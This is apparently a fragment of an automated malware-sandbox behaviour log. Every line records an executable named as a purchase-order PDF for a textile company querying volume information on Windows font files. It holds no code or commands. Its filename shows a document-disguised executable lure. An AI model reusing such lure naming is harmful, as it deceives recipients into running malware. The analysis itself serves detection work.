Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
